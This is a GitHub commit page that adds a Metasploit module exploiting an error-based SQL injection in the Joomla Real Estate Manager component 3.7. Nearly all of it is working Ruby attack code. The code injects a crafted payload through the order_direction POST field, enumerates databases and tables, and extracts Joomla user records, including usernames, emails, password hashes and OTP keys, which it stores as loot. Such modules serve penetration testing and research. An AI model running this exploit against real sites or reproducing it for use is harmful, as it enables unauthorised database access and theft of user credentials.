Skip to content

Commit 132cbf0

Browse files
committed
joomla plugin com_realestatemanager Error Based SQL Ijnection
1 parent fc09eaf commit 132cbf0

File tree

1 file changed

+206
-0
lines changed

1 file changed

+206
-0
lines changed
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection',
16+
'Description' => %q{
17+
This module exploits a SQL injection vulnerability in Joomla Plugin
18+
com_realestatemanager versions 3.7 in order to either enumerate
19+
usernames and password hashes.
20+
},
21+
'References' =>
22+
[
23+
['EDB', '38445']
24+
],
25+
'Author' =>
26+
[
27+
'Omer Ramic', # discovery
28+
'Nixawk', # metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'DisclosureDate' => 'Oct 22 2015'
32+
))
33+
34+
register_options(
35+
[
36+
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
37+
], self.class)
38+
end
39+
40+
def check
41+
flag = Rex::Text.rand_text_alpha(5)
42+
payload = "0x#{flag.unpack('H*')[0]}"
43+
44+
data = sqli(payload)
45+
if data && data.include?(flag)
46+
Msf::Exploit::CheckCode::Vulnerable
47+
else
48+
Msf::Exploit::CheckCode::Safe
49+
end
50+
end
51+
52+
def sqli(query)
53+
lmark = Rex::Text.rand_text_alpha(5)
54+
rmark = Rex::Text.rand_text_alpha(5)
55+
56+
payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
57+
payload << "0x#{lmark.unpack('H*')[0]},"
58+
payload << '%s,'
59+
payload << "0x#{rmark.unpack('H*')[0]},"
60+
payload << 'FLOOR(RAND(0)*2)'
61+
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
62+
63+
get = {
64+
'option' => 'com_realestatemanager',
65+
'task' => 'showCategory',
66+
'catid' => '50',
67+
'Itemid' => '132'
68+
}
69+
70+
res = send_request_cgi({
71+
'uri' => normalize_uri(target_uri.path, 'index.php'),
72+
'vars_get' => get,
73+
})
74+
75+
if res && res.code == 200
76+
cookie = res.get_cookies
77+
post = {
78+
'order_field' => 'price',
79+
'order_direction' => 'asc,' + (payload % query)
80+
}
81+
res = send_request_cgi({
82+
'uri' => normalize_uri(target_uri.path, 'index.php'),
83+
'method' => 'POST',
84+
'cookie' => cookie,
85+
'vars_get' => get,
86+
'vars_post' => post
87+
})
88+
89+
# Error based SQL Injection
90+
if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
91+
$1
92+
end
93+
end
94+
end
95+
96+
def query_databases
97+
dbs = []
98+
99+
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
100+
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
101+
102+
dbc = sqli(query)
103+
104+
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
105+
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
106+
107+
0.upto(dbc.to_i - 1) do |i|
108+
dbname = sqli(query_fmt % i)
109+
dbs << dbname
110+
vprint_good(dbname)
111+
end
112+
113+
%w(performance_schema information_schema mysql).each do |dbname|
114+
dbs.delete(dbname) if dbs.include?(dbname)
115+
end
116+
dbs
117+
end
118+
119+
def query_tables(database)
120+
tbs = []
121+
122+
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
123+
query << 'FROM INFORMATION_SCHEMA.TABLES '
124+
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
125+
126+
tbc = sqli(query)
127+
128+
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
129+
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
130+
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
131+
query_fmt << 'LIMIT %d,1)'
132+
133+
vprint_status('tables in database: %s' % database)
134+
0.upto(tbc.to_i - 1) do |i|
135+
tbname = sqli(query_fmt % i)
136+
vprint_good(tbname)
137+
tbs << tbname if tbname =~ /_users$/
138+
end
139+
tbs
140+
end
141+
142+
def query_columns(database, table)
143+
cols = []
144+
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
145+
146+
colc = sqli(query)
147+
vprint_status(colc)
148+
149+
valid_cols = [ # joomla_users
150+
'activation',
151+
'block',
152+
'email',
153+
'id',
154+
'lastResetTime',
155+
'lastvisitDate',
156+
'name',
157+
'otep',
158+
'otpKey',
159+
'params',
160+
'password',
161+
'registerDate',
162+
'requireReset',
163+
'resetCount',
164+
'sendEmail',
165+
'username'
166+
]
167+
168+
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
169+
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
170+
171+
0.upto(colc.to_i - 1) do |i|
172+
record = {}
173+
valid_cols.each do |col|
174+
l = 1
175+
record[col] = ''
176+
loop do
177+
value = sqli(query_fmt % [col, l, i])
178+
break if value.blank?
179+
record[col] << value
180+
l += 54
181+
end
182+
end
183+
cols << record
184+
vprint_status(record.to_s)
185+
end
186+
cols
187+
end
188+
189+
def run
190+
dbs = query_databases
191+
dbs.each do |db|
192+
tables = query_tables(db)
193+
tables.each do |table|
194+
cols = query_columns(db, table)
195+
next if cols.blank?
196+
path = store_loot(
197+
'joomla.users',
198+
'text/plain',
199+
datastore['RHOST'],
200+
cols.to_json,
201+
'joomla.users')
202+
print_good('Saved file to: ' + path)
203+
end
204+
end
205+
end
206+
end

0 commit comments

Comments
 (0)